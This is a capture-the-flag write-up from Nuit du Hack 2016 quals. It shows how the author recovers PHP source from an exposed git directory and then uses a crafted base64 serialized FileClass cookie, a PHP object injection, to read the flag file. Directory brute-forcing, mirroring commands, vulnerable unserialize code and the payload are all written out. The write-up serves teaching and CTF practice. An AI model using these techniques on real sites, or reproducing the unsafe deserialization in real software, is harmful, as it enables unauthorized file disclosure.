[CTF NDH 2016 Quals] Write-Up – WebApp : Find Me I’m Famous

03
Apr
2016
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: / / / / PHP Object Injection / Vulnerabilities, exploits and PoC   /   No Comments

Write-up of the challenge “WebApp – Find Me I’m Famous” of Nuit du Hack 2016 CTF qualifications.

The weekend of 04/01/2016 is pre-qualification for the Nuit du Hack 2016 as a Jeopardy CTF. Having had the opportunity and the time to participate with some colleagues and friends, here’s a write-up resolution of the challenges which we could participate.

  • Category: WebApp
  • Name: Find Me I’m Famous
  • Description : Hey Dude! This authentication annoys me, please help!
  • URL : http://findmeimfamous.quals.nuitduhack.com
  • Points : 100

By visiting the challenge page “http://findmeimfamous.quals.nuitduhack.com”, we visualized a form requesting a “login” and “age”. No check on the format of the input data.

First page

First page

After entering a login and arbitrary age, a new page asks us to identify:

Identification page

Identification page

Upon completion of identification, we arrive on the page “result.php” that shows us the welcome message with information related to our age:

result.php

result.php

We observe the exchanges made during the various requests and we note that the destination page “result.php” a “cook” cookie is included in the request.

Legitimate cookie

Legitimate cookie

Cookie=PHPSESSID=kdf7p64lmaqpkp9nufqbi1gqn0; cook=Tzo0OiJVc2VyIjoyOntzOjM6ImFnZSI7czozOiJ4eHgiO3M6NDoibmFtZSI7czo0OiJ5Y2FtIjt9

The value of “cook” can be URL-decoded and base64-decoded to give:

O:4:"User":2:{s:3:"age";s:3:"xxx";s:4:"name";s:4:"ycam";}

This cookie thus contains the image of our “User” object  serialized and encoded in base64. On reading this serialized format is deduced:

  • A “User” class is defined on the server side
  • This class has 2 public attributes in the form of string
    • age
    • name

Looking at the source code of the page, one notices the presence of the “<meta>” indicating the author:

Author

Author

Some investigations take us on tympanus, to download an HTML / CSS package of this model of login / registration module. But the package contains no such server side code such as those in place for the challenge (index.php, result.php, etc.).

The analysis was continued by launching a directories guessing on target:

dirb http://findmeimfamous.quals.nuitduhack.com /usr/share/wordlists/dirb/common.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Apr 2 20:13:53 2016
URL_BASE: http://findmeimfamous.quals.nuitduhack.com/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://findmeimfamous.quals.nuitduhack.com/ ----
+ http://findmeimfamous.quals.nuitduhack.com/cgi-bin/ (CODE:403|SIZE:217)
==> DIRECTORY: http://findmeimfamous.quals.nuitduhack.com/css/
==> DIRECTORY: http://findmeimfamous.quals.nuitduhack.com/git/
==> DIRECTORY: http://findmeimfamous.quals.nuitduhack.com/images/
+ http://findmeimfamous.quals.nuitduhack.com/index.php (CODE:200|SIZE:2382)
+ http://findmeimfamous.quals.nuitduhack.com/server-status (CODE:403|SIZE:222)
---- Entering directory: http://findmeimfamous.quals.nuitduhack.com/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
 (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://findmeimfamous.quals.nuitduhack.com/git/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
 (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://findmeimfamous.quals.nuitduhack.com/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
 (Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Sat Apr 2 20:18:05 2016
DOWNLOADED: 4612 - FOUND: 3

Interesting! A “git” directory browsable is at the root of server:

git directory listable

git directory listable

It seems that this directory called “git”, corresponds to a technical versioning directory of the eponymous tool named “.git” within a repos.

I also want to refer you to the excellent article InternetWache, which details the dangers and presents various tools to retrieve the full source code of a website from information leaks from his “.git” directory exposed; this directory can be browsable (Index Of) or not!

We can continue through the recursive copy of the entire contents of this directory:

wget --mirror -I git http://findmeimfamous.quals.nuitduhack.com/git/

We rename the configuration directory and clean some residual files due to the Index of:

mv git .git
rm .git/index.html*
rm .git/refs/index.html*

So we have the technical repertoire “.git” of the challenge, without source code and project files themselves. Check the integrity and the last events of the deposits:

# git status
Sur la branche master
Votre branche est à jour avec 'origin/master'.
Modifications qui ne seront pas validées :
 (utilisez "git add/rm <fichier>..." pour mettre à jour ce qui sera validé)
 (utilisez "git checkout -- <fichier>..." pour annuler les modifications dans la copie de travail)
supprimé : README.md
 supprimé : app/.buildpath
 supprimé : app/.project
 supprimé : app/.settings/org.eclipse.php.core.prefs
 supprimé : app/.settings/org.eclipse.wst.common.project.facet.core.xml
 supprimé : app/config.php
 supprimé : app/css/animate-custom.css
 supprimé : app/css/demo.css
 supprimé : app/css/fonts/BebasNeue-webfont.eot
 supprimé : app/css/fonts/BebasNeue-webfont.svg
 supprimé : app/css/fonts/BebasNeue-webfont.ttf
 supprimé : app/css/fonts/BebasNeue-webfont.woff
 supprimé : app/css/fonts/Dharma Type Font License.txt
 supprimé : app/css/fonts/fontomas-webfont.eot
 supprimé : app/css/fonts/fontomas-webfont.svg
 supprimé : app/css/fonts/fontomas-webfont.ttf
 supprimé : app/css/fonts/fontomas-webfont.woff
 supprimé : app/css/fonts/franchise-bold-webfont.eot
 supprimé : app/css/fonts/franchise-bold-webfont.svg
 supprimé : app/css/fonts/franchise-bold-webfont.ttf
 supprimé : app/css/fonts/franchise-bold-webfont.woff
 supprimé : app/css/style.css
 supprimé : app/css/style2.css
 supprimé : app/css/style3.css
 supprimé : app/fileclasse.php
 supprimé : app/images/ImageAttribution.txt
 supprimé : app/images/bg.jpg
 supprimé : app/index.php
 supprimé : app/result.php
 supprimé : app/ufhkistgfj.php
 supprimé : app/userclass.php
aucune modification n'a été ajoutée à la validation (utilisez "git add" ou "git commit -a")

Interesting … Reinitialize deposit and the original source code!

# git checkout -- .
# ll app/
total 56
drwxr-xr-x 5 root root 4096 avril 2 20:27 .
drwxr-xr-x 4 root root 4096 avril 2 20:27 ..
-rw-r--r-- 1 root root 174 avril 2 20:27 .buildpath
-rw-r--r-- 1 root root 22 avril 2 20:27 config.php
drwxr-xr-x 3 root root 4096 avril 2 20:27 css
-rw-r--r-- 1 root root 159 avril 2 20:27 fileclasse.php
drwxr-xr-x 2 root root 4096 avril 2 20:27 images
-rw-r--r-- 1 root root 5093 avril 2 20:27 index.php
-rw-r--r-- 1 root root 725 avril 2 20:27 .project
-rw-r--r-- 1 root root 2012 avril 2 20:27 result.php
drwxr-xr-x 2 root root 4096 avril 2 20:27 .settings
-rw-r--r-- 1 root root 26 avril 2 20:27 ufhkistgfj.php
-rw-r--r-- 1 root root 266 avril 2 20:27 userclass.php

We can now see the challenge’s files:

# cat config.php
NOT here ...

A particular file name intrigues us:

# cat ufhkistgfj.php
#I will add the flag here

This file must have the “flag” in production. Check the “result.php”:

# cat result.php
<?php
include('./userclass.php');
include('./fileclasse.php');
session_start();
if (isset($_COOKIE["cook"]) && !empty($_COOKIE["cook"])){
 $obj = unserialize(base64_decode($_COOKIE['cook']));
ob_start();
 echo $obj;
$ff = $obj->name;
 }
 if(isset($_POST["name_2"]) && !empty($_POST['name_2']) && $ff==$_POST['name_2'])
 {
?>
<!DOCTYPE html>
<!--[if lt IE 7 ]> <html lang="en" class="no-js ie6 lt8"> <![endif]-->
<!--[if IE 7 ]> <html lang="en" class="no-js ie7 lt8"> <![endif]-->
<!--[if IE 8 ]> <html lang="en" class="no-js ie8 lt8"> <![endif]-->
<!--[if IE 9 ]> <html lang="en" class="no-js ie9"> <![endif]-->
<!--[if (gt IE 9)|!(IE)]><!--> <html lang="en" class="no-js"> <!--<![endif]-->
 <head>
 <meta charset="UTF-8" />
 <!-- <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> -->
 <title>index</title>
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <meta name="description" content="Login and Registration Form with HTML5 and CSS3" />
 <meta name="keywords" content="html5, css3, form, switch, animation, :target, pseudo-class" />
 <meta name="author" content="Codrops" />
 <link rel="shortcut icon" href="../favicon.ico">
 <link rel="stylesheet" type="text/css" href="css/demo.css" />
 <link rel="stylesheet" type="text/css" href="css/style.css" />
 <link rel="stylesheet" type="text/css" href="css/animate-custom.css" />
 </head>
 <body>
 <div class="container">
<section>
 <div id="container_demo" >
 <div id="wrapper">
 <div id="login" class="animate form">
<h1>TEST</h1> <br/><p> TEXT</p>
</div>
 </div>
 </div>
 </section>
 </div>
 </body>
</html>
<?php
}
 else {
 header("location: index.php");
}
?>

It is this page that retrieve our cookie value “cook” after the base64 decoding, then unserializes the object content. No typing checks of the object class or cast is performed. The final vulnerability can be seen…

Note also that once the object “$obj” is regenerated a “echo $obj;” is realised, which has the effect of automatically call the magic method “__toString ()” (if present) in the object. Check if this method is present in our object “User” defined in “userclass.php”:

# cat userclass.php
<?php
class User
{
 // Class data
public $age = 0;
 public $name = '';
// Allow object to be used as a String
public function __toString()
 {
 return 'Hello ' . $this->name . ' you have ' . $this->age . ' years old. <br />';
 }
}
?>

Yes! The assumptions on the class definition format “User” issued at the beginning by reading the serialized cookie is confirmed. A method “__toString ()” is present and it is that which generates the message “Hello ycam you-have xxx years old.” shown above.

But there remains an unused file so far among the sources: fileclasse.php:

# cat fileclasse.php
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString()
 {
 return file_get_contents($this->filename);
 }
}

This simple class, never called / instantiated in the project, has an almost similar structure to the User class; but only one attribute is defined (the name of the file whose contents will be read through the call of the __toString () method). Yes, this class also has its __toString () method defined! The idea now will be to regenerate a cookie of an object “FileClass” rather than “User” serialized, to call the __toString () method to read the contents of “ufhkistgfj.php” file.

Changing the serialized object and its equivalent in base64:

O:9:"FileClass":1:{s:8:"filename";s:14:"ufhkistgfj.php";}
Tzo5OiJGaWxlQ2xhc3MiOjE6e3M6ODoiZmlsZW5hbWUiO3M6MTQ6InVmaGtpc3RnZmoucGhwIjt9

Injecting the cookie in the request to “result.php”, our “FileClass” class with attribute “$filename = ‘ufhkistgfj.php” will be unserialized and its __toString () method will becalled:

FileClass cookie encoded

FileClass cookie encoded

Results:

ufhkistgfj.php

ufhkistgfj.php

Flag : NDH[bsnae6PcNyrWZ82Q8v6pfJ6C6HG433L6]

Greeting to nj8, St0rn, Emiya, Mido, downg(r)ade, Ryuk@n and rikelm, 😉 // Gr3etZ

Sources & ressources :

  • Google Plus
  • LinkedIn
  • Viadeo
Yann C.

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.